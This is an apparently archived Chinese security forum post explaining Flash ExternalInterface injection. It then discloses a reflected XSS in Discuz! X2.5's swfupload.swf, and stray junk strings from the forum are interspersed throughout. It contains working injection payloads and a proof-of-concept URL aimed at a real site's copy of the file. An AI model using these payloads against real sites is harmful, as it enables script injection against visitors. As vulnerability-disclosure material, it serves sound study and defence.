找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1993|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
0 A" s3 A1 }* j8 a5 e* R1 s8 h
& |! Y  `/ M( C7 l/ b9 {! @. Vflash.external.ExternalInterface.call($methodName, $parameter)
% l. E$ ^" k6 F: f5 P: c+ V. z在浏览器中执行的是
" ~* T9 n4 g5 }0 U+ m: T4 U& I7 b; v
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
! J$ u! X; ~- J# k对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% \  w! \+ P9 H9 d$ R

% c) z0 c5 _! D8 Yflash.external.ExternalInterface.call("object."+$methodName, $parameter)
. d1 P# b8 Q1 Y$ _$methodName = a())}catch(e){alert(/xss/)}//
+ z' W% S- j! n9 E结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% C7 L( O" z. u1 W1 o% A. C: o
5 b/ q* Z& O4 u- u$ q9 T/ Ytry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
+ N9 V# d/ O' C' E1 F4 Y* g! ^2 Q% Y# I9 ?/ V
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )$ I( i5 \/ y* @, Q# z0 ^
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。1 l/ E6 b1 ~3 M& c
, U, v& t5 h! Q: Y7 T; D  Q
6 @6 X4 I4 y; Q. c' O" F' U
1 o' h6 N; I9 [
漏洞文件:upload\static\image\common\swfupload.swf( Q; I: o) _5 a9 `' w
4 B* n( b- V3 P5 E
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
0 m9 j9 v1 v: |+ D1 C* w( k0 }
3 K& A- Y. f4 u2 P- e2 k/ C  u& N) _+ W  f% `: r( [
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 s( \8 S3 Y: M  ^: H8 C
$ X, `5 ?8 F9 h  p; G
. X! x1 f5 m- d  f% s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表